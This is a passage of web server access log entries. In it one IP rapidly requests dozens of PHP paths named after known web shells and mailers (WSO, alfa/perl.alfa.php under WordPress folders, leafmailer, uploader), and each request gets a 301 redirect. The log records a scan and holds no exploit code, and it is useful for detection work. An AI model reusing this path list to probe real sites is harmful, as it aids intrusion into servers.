(KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:08 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:11 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:13 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:16 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:20 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:23 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:26 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:31 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:34 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:38 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:41 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:44 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:48 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:51 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:54 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:56 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:02:59 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:09 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:11 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:14 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:17 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:19 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:22 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:25 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:27 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:31 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:33 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:36 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:42 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:46 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:49 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:52 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:54 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:56 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:03:59 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:01 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:03 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:05 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:08 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:10 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:13 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:16 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:20 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:23 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:25 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:28 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:31 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:33 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:36 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:38 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:41 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:43 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:45 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:47 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:49 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:51 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:54 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:04:57 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:00 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:02 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:06 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:09 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:11 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:13 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:16 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:25 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:27 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:29 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:32 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:35 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:36 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:39 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:42 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:44 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:46 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:48 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:51 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:52 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:54 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:56 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:05:58 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:01 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:02 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:03 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:05 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:07 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:08 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:10 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:12 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:14 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:17 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:19 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:21 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:23 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:25 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A 